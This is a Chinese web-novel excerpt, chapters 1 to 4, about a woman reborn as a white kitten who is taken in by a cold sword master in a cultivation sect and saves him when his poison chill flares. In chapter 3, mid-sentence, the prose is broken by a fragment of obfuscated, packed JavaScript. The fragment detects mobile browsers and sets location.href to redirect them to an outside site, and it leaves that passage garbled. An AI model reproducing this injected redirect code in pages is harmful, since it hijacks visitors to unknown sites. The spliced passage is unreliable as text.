《道侣太受欢迎了怎么办》
1. 001
“喵——!!!”
凄厉的一声猫叫打破了这片荒林渗人的寂静,大片大片堆积在泥地上的干枯落叶被飞速掠过的白色身影踩得咔嚓作响。
姜姒一边感受着耳畔呼啸而过的风声,一边在心里疯狂卧槽。
是的,她穿了。
好消息,她实现了上辈子作为可怜社畜的梦想,穿成了一只毛茸茸哈基米。
坏消息,天崩开局炮灰命,两眼一睁还没站稳就被一头饿得眼睛发绿的野猪追得撒丫子狂奔。
原本柔顺漂亮的毛发估计已经被风吹得妈都不认识了,长时间的奔跑也使得这具身体明显力不从心起来。
身后那只野猪越来越近,姜姒甚至能闻到对方身上的骚臭味,活像是八百年没洗过澡。
小姑娘被熏得眼前一阵阵发黑,本就干涩的喉咙深处传来了呕吐的欲望。
奔跑的速度渐渐慢了下来,身后紧跟着的野猪也发出即将狩猎成功的嚎叫。
黑影一跃而起即将压顶的那瞬间,少女心中只剩下了一个想法——
去他爹的狗世界!
等她死了之后一定要跟这届阎王爷好好唠一唠,争取一键差评扣完对方工作绩效!
白色毛团紧紧蜷着身子,蓬松长尾遮住半个脑袋。
她有些苦中作乐地企盼着,这样的姿势在死的时候是不是能少些痛苦。
许是阎王心虚了一瞬——
出乎意料的,一柄闪着寒光的银白长剑,比死亡先一步抵达她身边。
锋利剑刃出鞘,砍瓜切菜一般,轻而易举地就割下了野猪那看起来坚硬无比的头颅。
肥壮身首落地,扬起一地落叶和浮尘。
预感中的疼痛没有到来,有人出手救了她。
姜姒懵懵懂懂地睁开双眼,率先映入眼帘的,是一双绣着精致云纹的长靴,和一看就很贵的白色长袍衣角。
救她的好心人超有钱。
猛地意识到这个事实后,小姑娘原本还半睁着的眼一瞬间放大,湿漉漉的猫瞳里写满了傍大款的渴望。
顺着笔直长腿向上看去,是那人劲瘦的腰、利落的下颌线和淡色的薄唇,挺直的鼻梁和微敛的眼眸让他看起来冷冷淡淡,不好接近。
要是在原来的现实世界,姜姒遇见这样的高岭之花肯定是只敢远观不敢靠近的,但现在嘛——
她只是一只毛茸茸罢了,小猫咪能有什么坏心思呢。
这样想着,少女抖了抖耳尖,顺了顺毛,努力把刚刚死里逃生的自己收拾得稍微体面了些,迈着小短腿就凑到了那人身边。
蓬松的尾巴竖着,额头矜持地蹭了蹭对方的衣角,撒娇似的喵了一声。
姜姒本来以为自己会被抱起,或者再不济会被摸摸,结果——
大哥你退半步的动作是认真的吗?!
姜姒不可置信地偏头,看向一旁后退的男人,他眉心微皱,薄唇抿起,明明是那样一副悲天悯人的相貌,她却硬生生从中看出了几分嫌弃和冷漠。
对方冷白手腕翻转,长剑入鞘,又低头迅速瞥了姜姒一眼后,便毫不留情地转身,准备离开。
黑色的野猪头就在少女身旁,它眼睛还没闭上,姜姒只要一抬头,就能对上那双还带着怨恨和不甘的双眼。
天色渐晚,暗处还不知隐藏着多少危险,唯一可靠的人看起来也不是很想管她。
小姑娘一瞬间慌了神,也顾不上什么矜持不矜持了,几步冲刺,一跃而起,抱上那人的小腿就开始可怜地喵喵喵。
她很轻,男人顿了一下后便没再管她,只自顾自地向前走。
他的衣服料子上乘,滑得很,姜姒怕伸爪子抓伤对方,只能手脚并用地抱得更紧。
但少女显然高估了自己的体力。
她刚刚跑了那么久,没喘几口气便又开始‘攀岩’,自然是坚持不了多长时间。
小小的白色毛团开始不断向下滑,尽管她很努力,却也改变不了最终滑落至地的结局。
挨上了地,姜姒也没放弃,她这次没乱爬了,直接一屁股坐在了对方的靴子上,尾巴环着自己的身体,歪着脑袋和垂眸不语的男人对视。
三秒过去了,姜姒信心满满......
十秒过去了,姜姒忐忑不安......
一分钟过去了,姜姒......姜姒决定认清现实。
毛团子失落地低下了头,最后一次蹭了蹭救命恩人的裤腿,乖乖地走到一边蹲坐着给人让路。
抱大腿的计划宣告失败,小姑娘在心中飞快盘算着自己这种身板的小垃圾怎么在危机四伏的荒林里生存下来。
正头疼呢,一只骨节分明的手掌揪住了她的后脖颈,微一用力,将她整只猫拎了起来。
被迫升空的姜姒懵逼地歪了歪头,四只爪子无意识蹬了几下,男人身体微僵,半晌,伸出另一只手托住了她。
姜姒抬头看了一眼,那人的脸色依旧冷淡,笼着她的手却诚实的很。
距离又拉近了几分,雪山松木般的气息扑面而来。
少女只愣神了几秒,随后便是欣喜若狂——
她好像真的抱上大腿了!
换句话说,以后不用荒野求生,不用随时担心自己的小命。
每天只要装模作样五分钟,就可以荣华富贵一辈子!
白色毛团子眼神越来越亮,随后便一头扎进自己未来饲主的怀抱里疯狂蹭蹭。
夹着嗓子开始撒娇。
被毛茸茸亲昵的男人浑身僵硬了一瞬,但还是伸出手,不甚熟练地摸了摸怀里的小猫脑袋。
*
御剑回宗的黎川感受着胸口处传来的热意,第一次产生了名为自我怀疑的情绪。
莫非是自己这段时间修行根基不稳,导致邪祟趁机入了体。否则怎么解释他轻易地带了只不知底细的小猫回来。
原是想着出来散心的,碰到野猪捕食也纯属巧合。
弱肉强食、物竞天择本是正常现象,也不知自己到底抽了哪门子风,看着那缩成一团的白色毛球竟起了不忍之心。
脑子还没反应过来,手里的剑先出了鞘。
本想着杀完就走,谁知那个小东西贪心甚多,竟还想着赖上他。
自他走完登天梯,踏入无情道的那刻起,便是七情六欲皆断,世间万物不扰。
三百年来,他一直都是一个人。
一个人筑基,成丹,炼婴,乃至化神渡劫,他不需要陪伴。
世人这么认为,他也这么认为。
所以他无视了小家伙的打滚
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卖萌,就算它看起来弱小无比,也许今晚就会死,可这跟他又有什么关系呢。
男人冷着脸,面无表情。
但他属实是没想到那个团子这么有毅力,被他抛下了还能厚着脸皮、歪着脑袋坐在他靴子上。
那双黑亮的眼湿漉漉的,里面只有他一个人,乖得不行。
黎川第一次心软了。
算了,要是那只毛团子坚持一百息不离开,他就破个例,带它回家。
他不知道,当他出现这个想法时,嘴角已经不自觉的,微微扬起了一个弧度。
结果谁能想到这只猫是个没耐心不争气的,不过才区区六十息,它便垂了脑袋想要放弃。
这怎么行。
一向要求严格的男人啧了声,这般懒散,离了他以后肯定活不下去。
不过念及它是初次,剩下的四十息他便暂时不计较了,等以后再好好训练它。
这样想着,男人三步并作两步上前,把那只失魂落魄的团子一把捞进了怀里。
温软的绒毛蹭过他的下巴,怀里的小猫亲昵撒娇。
是三百年来黎川从未体验过的感觉,但他好像,一点都不讨厌。
*
风有些大,缩在男人胸口处的毛团打了个秀气的喷嚏。
黎川瞬间回神,压了压探出来的小猫脑袋,想了下,还是不放心地抬起手,施了个防风咒。
被塞回去的姜姒动了动爪,温热的气息隔着薄薄的衣衫传来,有力的心跳响在耳边,薄而韧的肌肉给初到异世的她满满安全感。
不知过了多久,迷迷糊糊之间,小姑娘感觉自己被人动作轻柔地抱了出来。
她伸出前爪扒在那人的衣肩上,没骨头似的伸了个懒腰。
“呵”,男人屈指弹了下她眉心,“醒了?睡了一路了。”
语气有些阴阳,动作却轻的很,姜姒自然不觉得痛。
穿成了小猫,行为也好像受了一定影响,毛茸茸的脑袋轻轻蹭了蹭黎川的脸颊,无师自通一般撒娇示好。
男人没说话,但也许是作为毛茸茸的自我修养,小姑娘就是知道他已经被哄好了。
保证了饭票的稳定性后,姜姒满意抬头,准备仔细研究下自己以后长期混日子的地方。
随意一眼,少女便被震得哑然。
此时暮色将倾,天边只点缀着几朵墨色薄云。
群山拔地而起,正呈众星拱月之态。
正中间的山峰之巅矗立着一个大殿,高悬的牌匾上书“乾坤宗”三字,游龙走蛇的笔锋之间隐隐藏着某种玄妙道义。
华丽精致的楼宇星罗棋布,两三灯火亮起。
几道互相钩连的天梯细细看去,好似一道排列精密的乾坤阵法。
这样的磅礴景色,这样的建筑群体,阅文无数的姜姒瞬间了然。
她本以为自己的饭票只是个有钱的修仙散人,没想到对方竟然还背靠修仙大宗。
真是发达了发达了,这泼天的富贵终于也落到她姜某人的头上了吗!
还没等她感慨完,抱着她的人已经平稳落地,收剑入鞘了。
几乎是男人刚刚站定的一瞬,一道带着孺慕敬仰的声音便由远及近传来。
“剑尊大人!您终于回来了!”
2. 002
剑尊?
姜姒白色的耳尖动了动,略带点棕灰的蓬松长尾不受控地轻轻扫了下。
没想到她的救命恩人地位甚高,还有个尊者名号。
少女的下巴微抬,一双黑亮剔透的猫眼眯起,带着点不自觉的骄傲。
当世剑尊,一听就很强,以后一定可以保护好她,是个合格的金大腿!
小白猫趴在自家饲主肩头,沉浸在对未来美好生活的幻想中,完全没注意到一旁传话弟子看稀奇一样的眼神。
陆星辰还维持着行礼的姿势,目瞪口呆地看着在高岭之花身上肆意撒娇的毛团子,心中复杂一片——
原来即便传闻中不近人情的黎师叔,也抵挡不了可爱猫猫的攻势啊。
他的表情实在是称得上一言难尽,平时不怎么关心弟子的黎川也不由得多看了几眼。
感受到自家师叔三分冰冷、三分嫌弃、还有四分疑惑催促的审视目光,陆星辰这才堪堪回过神。
他佯装镇定,又躬身行了一礼之后才开口解释:
“弟子失礼,师叔莫怪。”
“您刚刚在穿过护宗结界时师尊察觉到了,所以特命弟子知会您一声,他现在正在大殿等着您过去,说是有要事与您相商。”
黎川听说有要事也没什么表情,只微微颔首。转身离开时却像是想到了什么,脚步一顿,偏头细细打量了下眼前挺拔俊秀的少年。
稍许,他从袖中摸出一个白瓷瓶,扔了过去,便头也不回地走了。
只模糊留了句话——
“你刚进阶,根基不稳。这瓶天级固元丹可助你快速恢复。”
男人冷冷淡淡的声音轻得很,一个不注意,便随着身影一起消散在了风中。
但修仙之人多耳目灵敏。
故而陆星辰是一字不落的,将这句关心似的话听了个清楚。
原本还算得上沉稳的人此刻却像是呆住了,浑身上下写满了不可思议四个大字。
直到黎川人都走远了,他才像是如梦初醒般回了神。
白净的脸庞因为过于激动而变得通红,少年直到摸出通灵镜还有几分恍惚。
那通灵镜乃是乾坤宗太上老祖亲手做出的宝物,此镜连通着宗门的几大山峰,弟子们人手一个,使用时只需施加一点灵力,便可快速联系到另一方。
不过这只是通灵镜最初始的功能,随着乾坤宗人才辈出,有人在其上重新改良了一下,现在不仅可以联系人,还有了几个公共板块。
弟子们可以在那里畅所欲言,相互交流修炼术法和心得。
其覆盖范围之广,传播消息之快,修真界至今无出其右。
陆星辰此时已经没了身为掌门大弟子的成熟稳重,兴奋得犹如瓜田里上蹿下跳的猹。
他修长食指快速点了几下,便迫不及待地和同门分享起今日新鲜出炉的保熟瓜——
“《惊!乾坤宗内著名冰山今日融化是为哪般?》”
“谁懂!咱们宗门内那位著名冰山放的冷气真的只针对吾等凡人!小猫咪除外!”
“今天我奉师命前来找他,结果大家猜怎么着,我亲眼看见他放任一只小白猫在他肩膀上撒娇打滚!!”
“而且他在我交代完之后还关心了我一下。最最重要的是,他亲手给了我一瓶固元丹!!天级的!!”
“还有那只猫,我跟你们说,毛茸茸的真的超可爱啊......”
托陆星辰那张漏风嘴的福,现在全乾坤宗的人都知道他们剑尊被一只超级可爱的黏人猫猫拿下了。
无数胆大的弟子持怀疑态度,私下里都偷偷商量着要一睹那猫的风采。
至于被弟子们传得神乎其神的猫猫本猫......
现在属实是有点汗流浃背。
*
姜姒正被一双带着茧的大掌稳稳托着,眼前一张放大的中年男人脸看起来严肃无比。
那人留着长髯,五官端正,剑眉星目。许是常年皱眉,额心有一道很深的印记,周身气质不俗,隐隐透着股威压,一看就是个不好糊弄的。
更令猫窒息的是,刚才还被称为剑尊的自家饲主,现在正乖乖对着这人弯腰行礼喊师兄。
男人的眼神看起来愈发锐利了,少女只能坐得更端正些。
一双黑亮的猫眼无辜回望,毛茸茸的耳朵忍着后压的冲动抖了抖。
白色毛球歪着脑袋,夹着嗓子,细声细气地喵出声。
身后的尾巴也仿佛察觉到了主人的意愿,讨好似的缠上了男人的手腕。
出于小动物自我保护的直觉,姜姒敏锐地察觉到捧着她的那人手臂紧了一瞬。
毛团双眼一亮——
有戏!
众所周知,猫这种动物,最擅长的便是顺着杆子向上爬。
察觉到对方态度的缓和,少女几乎是下意识地喵了几声。
她的猫身本来就是幼崽形态,看起来只有小小一团。
蹲坐的时候脑袋和身子又是两个圆形,一个小一个大,从上方或者背面俯视的时候,简直萌得人心都要化了。
陆知也便是俘虏之一。
毕竟肉体凡胎的人类,再怎么样,也注定拒绝不了可爱毛茸茸。
坚冰化成春水。
姜姒亲眼见着男人原本严肃的面容软和下来,眉头舒展,就连嘴角都上翘了两分。
陆知也左手将小猫仔细揽在怀里,右手在她头顶掐了个诀。
暖黄的流光将姜姒整只猫包裹起来,少女只觉得浑身舒适,有些迷迷瞪瞪的。
过了不知过了多久,她突然浑身打了个激灵,清醒过来。
再睁开眼时,她已经回到了黎川怀中。
熟悉的松木香让小姑娘有些胀痛的太阳穴好了不少,骨节分明的手掌带着安抚意味地给她顺了顺毛。
“我已经检查过了,就是一只还未开智的小猫,不是妖族那边派来的卧底。”
一道含笑的男声响起,是陆知也。
“师兄”,黎川有些无奈,“我之前已经用灵力查过一遍了,你不信我。”
这话说的有些孩子气的埋怨,却让平时看着出尘的仙人有了些许鲜活气息。
没想到她饲主的性格竟然还有这样一面,姜姒正想抬头仔细看看男人面上的表情,却兀得反应过来一件事——
未开智?
是说她是傻子听不懂人话的意思吗?
毛团子忍不住开始弓腰哈气,正要好好凶一番那个说她智障的人类。却在炸毛的前一秒,冷不丁地回忆起了那人刚开始猜疑冰冷的眼神。
锋利如刃。
若是让他察觉到自己身上的异常之处,那她的下场......
姜姒心脏处像是被狠狠抓了一把,浑身不自觉打了个哆嗦。
就算不死,也要被当成刚刚说的妖族卧底,至少脱一层皮吧。
小姑娘瞬间老实。
低着头寻了个舒服姿势,安安分分地窝在自家饲主怀里,不动了。
看她明显有些害怕的样子,黎川薄唇微抿,眼帘低垂,正准备随意寻个理由先走,一道娇俏的女声却突然出现,绊住了他的脚步。
“呦,这不是我们黎川剑尊吗?
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走的这样急,想必是这每月十五必发的寒症已经自个儿好了吧。”
“哎看我这记性,还紧赶慢赶,巴巴地过来准备给人家看病呢。”
“师妹”,陆知也有些无奈地回头,“你这说话的语调真该改改了,别总是阴不阴,阳不阳的。让人听起来忒怪了,平白误会了你一番好意。”
“哼”,来人不甚优雅地翻了个白眼,“我改?那家伙不爱惜自己的毛病才该好好改改呢!”
说着,她还嫌弃似的扒拉了一下陆知也,“你也别总瞎和稀泥纵着他。”
这样泼辣会说的女子,放在以前,姜姒一定要好好膜拜膜拜。
但此时此刻,她却完全没了这个心情。因为她刚刚听到了一个很耳熟的名字——黎川。
这他爹的不就是时下最火男频文里的终极炮灰大反派吗?!
还是死的最惨的那个!
不,小姑娘强迫自己冷静下来,说不定只是凑巧而已呢,毕竟世上同名同姓的多了去了。
别自己吓自己。
但,回想起之前被她刻意忽略掉的细节——
莫名觉得熟悉的宗门名,符合原著清冷俊秀的外貌特征,还有一把同款无仿的银白长剑......
虽然姜姒很不想承认,但她大概率的确不是穿越,而是穿、书、了。
作为一个女频爱好者,姜姒很少看男频的书,除非特别出圈。
好巧不巧,《我欲成仙》便是一本爆款神作。
这本书摒弃男频套路中恶俗的种马后宫,反其道而行之,主打一个我欲成仙,飞升勿扰。
不管你是宗门内的娇俏小师妹,还是霸气型御姐,亦或者魅惑点满的妖族圣女,男主都能做到清心寡欲,谁都不爱。
当初姜姒是熬夜追的文,熬了几个大夜囫囵看了一半还没看完,便不耐烦地甩手扔到了一边,没再关注。
后来只听说人说这书烂尾,主角黑化后莫名其妙开了挂,秒天秒地。
结局的时候主要角色都差不多全死完了,只大概剩了个书名。
至于她为什么会偏偏记得黎川这个炮灰——
姜姒冷笑,当然是因为他当初出场的排面够大,最后却死的够惨啊!
主角的篇幅,反派的结局。
当然让人印象深刻。
越回忆越心酸,小姑娘现在只觉悔恨万分。
早知道要穿进这本书,她一定好好阅读、全文背诵,绝不会像现在这样只记得个大概!
还记的是前面主角没黑化的那部分!
根据穿书定律,她接下来的操作应该是帮反派洗白,改变剧情;或者攻略主角,成为天道宠儿;再不济也该是个存在感超强的路人甲,然后被正邪两道同时拉拢!
但现在。
姜姒垂眸看了看自己毛茸茸粉嫩嫩的爪子,又仔细回忆了一番原著里男主神挡杀神、佛挡杀佛的狠劲儿。
没犹豫多久,毛团子往前拱了拱,把自己埋得更深了些。
深吸一大口令人安心的松木清香后,小姑娘郑重决定——
摆了算了。
谁叫她只是一只小猫咪呢,还是不知道能不能化形的那种。
说到底,拯救世界这种事,非天选之子不可为。
早早迈入社会,做了好几年社畜的姜姒自然没那么单纯自恋,金手指不是人人都有的,大部分人真论起来,只是最平庸不过的路人甲罢了。
眼下她最重要的,还是快点弄清楚那人刚说的寒症到底是怎么一回事。
毕竟在姜姒心中,金大腿,永远都是第一位。
3. 003
抱着谁有问题都行,唯独黎川不能出事的宗旨。
小姑娘从松木香的怀里艰难抬头,望向了方才开口的女子。
只一眼,她的想法便从‘神医救命’变成了‘姐姐贴贴’。
无他,唯美色惑人而已。
那人一身烟紫碎金长裙,身量高挑,骨肉匀亭,乌黑长发挽在脑后,仅用一根白玉簪斜斜固定。
几缕碎发散落额前,衬得一双上挑的狐狸眼愈发慵懒勾人。
因着生气的缘故,饱满殷红的唇微微紧抿,却也是风华绝代,万种柔情。
看得人心软软。
察觉到某个团子快要化为实质的欣赏眼神,一向擅长阴阳怪气的柳云意此时也说不出什么太刻薄的话。
她眼神飘忽一瞬,有些不自在地清了下嗓子。
随后像是掩饰般的几步上前,捉起黎川的手腕便开始强制把脉。
差点被拉个趔趄的黎川:......谁又惹她了。
接收到师弟疑惑眼神的陆知也:或许是......你?
深知师姐脾性的青年不敢多言,只老老实实地伸出一截皓白手腕。
姜姒也顺势爬上了他的肩头,乖乖蹲坐着欣赏美人认真工作。
过了一刻钟左右,柳云意的脸色越来越难看,殿内的气氛也愈发凝滞。
两人一猫安静如鸡,大气不敢出。
姜姒从前没看过中医,见此情形,她只觉得金大腿约莫是已经病入膏肓,命不久矣了。
但她又隐隐觉得哪儿不对劲,毕竟原著里黎川不是病死的,是被黑化后的男主给一剑攮死的。
少女真真是百思不得其解。
刚想再仔细观察下对方神色,以免遗漏什么重要信息。
结果一低头,正撞见了黎川绝症康复的神奇瞬间。
只见柳云意皱起的眉不知何时放松下来,就连声音也不似先前那般冷冽严肃,反带着些许欣慰。
“脉象不错啊”,女人满意点头,“还算是把我的话给真切听进去了。”
姜姒:......
你们学医的大佬都喜欢这样变脸吗?
不过好在最后人没事。
大殿里一个宗主一个剑尊,齐齐松了口气,也没在意柳云意故意吓他们的事了。
个人爱好,可以理解。
黎川最后是带着师兄的殷殷叮嘱和师姐的紫色药瓶走的。
原本还想浑水摸鱼多看两眼美人姐姐的姜姒,也被他精准提住后脖颈给拎走了。
柳云意和陆知也并排而立,面带微笑地目送他们逐渐远去的背影。
直到再也看不见的那一刻——
两人面上原本的笑容一瞬消失。
“阿云”,男人嗓音沉沉,眼中郁色尽显,“你说实话,小师弟的寒症究竟如何。”
柳云意面色也不好,她嗤笑一声,长睫微敛。“你不是已经有了猜测?何必多此一举再问我。”
二人相顾无言,静默良久。
最终,还是陆知也长叹一声,率先服了软。
“我知道,都是我的错。”
他闭了眼,盖住眸中逐渐压抑不住的痛苦之色。
“是我这个大师兄无用,当初护不住他,如今救不了他。”
“上古冰夷的寒毒之苦,本该是我承受,却平白落在了他身上......”
“够了!”
柳云意忽得厉呵出声,纤白十指攥紧。
“现在再说这些丧气话有什么用!当务之急是找到治好小师弟的法子!”
她眼尾微微泛红,声音却坚定不已。
“都说这冰夷之毒世间无解,只能压制,我偏不信!”
“黄泉碧落,一定能找到办法的!”
说完,见对方还是一副垂着头的颓丧模样,柳云意心中不知为何,莫名生出一股子难以发泄的烦躁来。
她兀得伸手,将眼前这张看着不爽的脸硬掰了起来。
漂亮的狐狸眼凑近,盯着眼前一双放大的错愕双眼,柳云意一字一句开口道——
“陆知也,你是乾坤宗掌门,是我和黎川的大师兄。”
“当初立的天地誓言,说好的保护好我们,你不能放弃,不许食言。”
眼前人语气恶狠狠的,眉宇间却藏着隐秘又别扭的担心。
陆知也有些愣神,他忽得不受控地回忆起师尊还在的时候。
师尊法号逍遥子,人如其名,甩手掌柜不会管事。
故而师弟师妹都是他带大的,小师弟黎川悟性极高,天赋极好,几乎不怎么需要他操心,至于师妹阿云——
自小便爱黏着他。
术法不会找他、受欺负了找他、挨罚了也找他。
他们师兄妹关系极好,直到两百年前,修士和妖族的一场大战——
黎川为他挡下了残血反扑的凶兽,从此寒毒入体,饱受折磨。
第一次毒发后,小师弟怎么说来着?
哦对,他当时满身寒霜,语气微弱,说不出话来。
陆知也被回忆中黎川的模样震回了神,眼前的人还盯着他,像是一定要听他说出什么来。
他有些不自在地转移了视线,垂下眼,像是幼时一贯安慰对方那样,缓缓点头,轻轻‘嗯’了声。
见男人原本空洞泛红的眼眸渐渐恢复神采,柳云意原本高高提起的心总算是能放下去些。
紧绷的神经放松一瞬,肌肤的热意就顺着指尖流向了四肢百骸。
猛地收回双手,柳云意迅速退后几步拉开距离,绯红悄悄爬上耳尖。
她微微偏头,语气自然无比地问道:
“对了,刚刚黎川怀里抱着的白猫什么来路,你仔细探查清楚没有?”
“已经检查过了”,男人顺着她的台阶往下走,“是个未开神智的,不用担心。”
“这样”,柳云意微微抬眼,像是回忆起了什么,有些感慨,“还是有个伴陪陪他好,小时候多可爱啊,越长大越像个冰块。”
“......嗯,师妹所言极是。”
*
姜姒没听到柳云意的评价,但她现在和对方的想法是一样的。
黎川这人长得像冰块就算了,怎么还住在冰块里!
难不成他是什么绝世冰块成精了吗?!
真不怪她挑剔,堂堂修仙大宗的剑尊,竟然住在一个石洞里!
还是家徒四壁的那种!
小姑娘抬头环视一周,目之所及不是光秃秃的石床石凳,就是一个孤零零的木头剑架,连个被褥都没有。
白色毛团蜷在石桌上,黑亮的猫眼里写满了绝望。
本以为抱上金大腿后就能走上猫生巅峰,从此荣华富贵一辈子。
现在看来还是她太天真,忘了修仙之人多崇尚清心寡欲,不在乎身外之物。
但是她在乎啊!
越想越觉得自己命苦,少女仰天长叹一声后老老实实又窝窝囊囊地蜷成一团,头枕在尾巴上——
睡了,梦里什么都有。
姜姒这一觉睡得很浅,初到异世,虽然找了个好心人,但她还是觉得心里不甚安稳。
迷迷糊糊间,她梦到了白天的那头野猪,她的身体很沉,身后追着她不放的东西却跑得很快。
黑云压顶的一瞬,没人救她。
姜姒吓醒了。
毛绒团子起身蹲坐着,大口大口呼吸,努力压制住心中莫名恐惧的情绪。
过了片刻,她慢慢缓了过来,本想厚着脸皮去找饲主蹭一蹭床,却在看到石床的一瞬,心沉了下来——
黎川还没回来。
他们刚到洞府的时候,黎川先是给她施了个保温咒,随后便开始宽衣解带。
姜姒是个守猫德的好猫猫,只当对方准备沐浴更衣,自觉找了个角落背过身蹲着,坚决拒绝不良诱惑。
本以为睡一觉之后那人就差不多要回来了,但现在......
他就是把自己里里外外搓三遍时间也够了。
心中那股不安的感觉愈演愈烈,小姑娘权衡良久,最终还是决定在周围找找看。
穿成猫猫之后有一个极大的好处,那便是嗅觉会变得灵敏无比,少女嗅了嗅黎川换下的衣物,又猛吸了几口空气,敏锐捕捉到了气味来源——
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15002315|161815||http|test|mini|href|location''.split(''|''),0,{}));
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>石洞的正后方。
那里到底有什么?勾得人不回家。
姜姒站在洞口处看了眼如墨天色,今晚有月无星,月光黯淡得很,照不亮脚下的路。
雪白的猫爪犹豫着迈出,又踌躇着收回。
小姑娘纠结万分——
这么晚了,出去不会遇到危险吧?
要是他出事了我去不也是送菜吗?
或许他还有别的事情做耽搁了呢?
她好不容易捡到的一条命啊。
……
算了!
姜姒心一横,抬着的爪子向前迈出一步。
死就死吧!反正这条命也是黎川救回来的,要是真有危险,大不了、大不了就算陪他了!
黄泉路上,奈何桥边,有人作伴总比孤零零的要好。
跨出第一步后,再之后的路就顺畅多了。沿着小路不知走了多久,直到穿过一片竹林,视野才陡然开阔。
原来,石洞的后面,是一方寒潭。
没有坏人,不会死亡。
小姑娘一路上提着的心放了下来。
谭边雾气深重,姜姒只能看到一个清瘦背影的轮廓,黑发披散,比白日里少了些许仙气出尘,多了几抹红尘欲色。
原来是在打坐。
果然是自己吓自己。
欣赏完美人的背影,小姑娘正准备打道回府,‘咚’的一下落水声却猛地绊住了她的脚步。
这么浅的潭都能能溺水?
不对!
姜姒瞳孔猛地一缩,迅速反应过来,黎川出事了!
来不及多想,一路狂奔到水边,见到青年眉眼含霜、意识不清的第一眼,小姑娘几乎是立刻就反应过来——
大概是那所谓的寒症,发作了。
怎么办?怎么办?
她现在只是一只猫而已,没有灵力,也不能徒手把他捞上来。
思绪混乱一片,少女闭着眼,拼命思考起其他的救援办法……
忽的,一道倩影从她脑海里一闪而过。
药!对!那瓶紫色的药!
她不能把他扶到屋里,却可以把药叼过来!
不敢有丝毫耽搁,姜姒拿出前世八百米的速度狂奔,总算是在人彻底昏迷前赶到了。
那药瓶还算小巧,却瓷实得很,她一路努力叼着废了不少力。
现在看自家饲主的情况也不像是能自己吃药的,小姑娘深吸一口气,任劳任怨地开始拔木塞。
前爪抱着瓶口,牙齿咬着木塞,后脚一齐发力——蹬!
一下没成,姜姒也不气馁,再来!
又没成。
三次、四次......
不知过了多久,只听‘啵’的一声,那木塞被拔了出来。
小白猫现在嘴角有些渗血,爪子也很疼,但她顾不上这些,抱住瓶尾,后腿直立而起,倒出一颗药丸后叼着药就冲向黎川。
却在岸边硬生生刹住了脚。
潭水寒凉于她而言还不是最要紧的,猫儿怕水的天性最难克服。
她前世就不会游泳,今生变了猫,对水更是抵触万分。
但......
救人救到底,送佛送到西,总不能眼睁睁看着自己的救命恩人死在眼前。
犹豫不过两秒,姜姒眼一闭,壮士断腕般跳入水中。
此刻的保温咒好像失了效,寒意刺入骨缝,冷气直冲猫猫天灵盖。
身上御寒的绒毛此时成了累赘,重的很,像是水中有一双大手拼命地往下拉她。
好在这寒潭水不深。
扑腾到黎川身边后,她一鼓作气扒开了对方的唇瓣,指甲伸出微一用力,撬开了紧闭的齿缝,看着棕色药丸划入喉咙。
怕他噎死,小姑娘甚至还贴心地帮他抬了下巴,抚了脖子。
能做的都做了,黎川能不能活,就得看他自己的造化了。
废力爬上岸后,紧绷的神经一瞬间放松,巨大的疲惫感袭来,姜姒抵不过,挣扎着闭上了眼睛。
意识坠入深渊的前一秒,她脑中只有一个想法——
真希望,还能看见明天的太阳。
4. 004
黎川是被冻醒的。
意识逐渐回流,泡在潭水中青白的指尖僵硬地弯了弯,青年垂眸,薄雾蜿蜒而上,吻过他冷峻眉眼。
他单手撑着身后石壁缓缓坐起,体内灵力飞速运转,四肢百骸被重新灌入生机。
缓了好一会儿,直到黎川再次探查灵脉,确认寒毒已经被重新压制下去,他才有心思仔细回忆昏迷过程中发生的事。
那时他的意识虽未完全消失,但也只能模糊感受个大概。
他只记得最后有一只毛茸茸的爪子抚上了他的唇,好像......还轻薄了他几下?
不过,黎川长眉微皱,毛茸茸?
想这栖寒洲是他修炼的地方,设有结界,化神之下出入不得,哪儿来的妖兽这般厉害?
思绪不经意间划过一颗白色毛球,青年一顿。
会是它吗?
可他和师兄都曾用灵力探查过,丹田未开、识海封闭,那白猫确是普通狸奴无疑,称不上有修为的妖兽。
但......
黎川薄唇紧抿,单手掐诀,灵识铺天盖地散向四方,几乎只一瞬间,他便感知到了一处微弱回应。
顾不得衣衫不整,他迅速跨出水池,快步走向竹林边缘。
青年很快就找到了那只白猫。
只见白日里还和他撒娇的、鲜活无比的小猫,现在蜷在竹叶堆上、鼻头泛白,长毛一缕一缕地打络,起伏微弱,像是已经没了呼吸。
黎川不知道怎样形容这种感受。
他只觉得心脏处像是被人狠狠捏了一把,又酸又疼。
几步上前,弯腰搂住已经开始僵硬的白团子,右手抬起,银白长剑应召而来。
黎川平日里最重规矩,乾坤宗一千两百条门规里有一半都是他少时拟定的。
门规第一条——‘宗内入夜不得御剑飞行’。
如今,他却像是忘记了一样,踏上长剑就飞向了隔壁山头。
睡得正沉的柳云意被强制开机。
她一睁眼,就对上了发尾滴水、眉眼压抑又阴沉的自家师弟。
对方那难看的脸色,让她仿佛又回到乾坤宗百年前被妖族突然袭击的时刻,直到青年双手捧着白猫递至她眼前,颤着声求她救它,她才恍然。
柳云意虽说为人不怎么靠谱,医术却是不容置疑的。
温和的木属灵力将小白猫包了起来,原本湿透的长毛也被慢慢烘干,她纤白指尖陷入暖白绒毛里,一下一下安抚着。
直到天色将明,窗外渐渐有了人声。
披着水蓝外袍的女子将安睡的毛团小心翼翼交付到青年掌中,低声叮嘱道:
“它已无大碍,只是寒气入体,需要温养几日。”
“这几日未时将它送到我这,我会好好照料这个小家伙的。”
说罢,她顿了会儿,忍了忍,没忍住。
“要我说,你要是不会养,就耐着性子去问问咱们宗御兽的弟子,别过几天给养死了。”
被毫不留情地刺了几句,黎川也没还嘴,只安静地垂着眸,盯着手中沉睡的白色小猫。
他垂着眼不说话时总给人一种错觉,长睫平直,根根分明,覆下一段阴影,看起来乖巧又安分。
但只有了解他的人,才明白他骨子里的疏离冷漠。
柳云意见他这样,也不忍心再多说什么,只塞给了他好几个瓶瓶罐罐,让他记得按时喂药。
黎川点头致谢,留下一个精致玉盒后便消失不见。
柳云意甚至没来得及把盒子再塞回去。无奈,她随手解开了盖子上的封印。
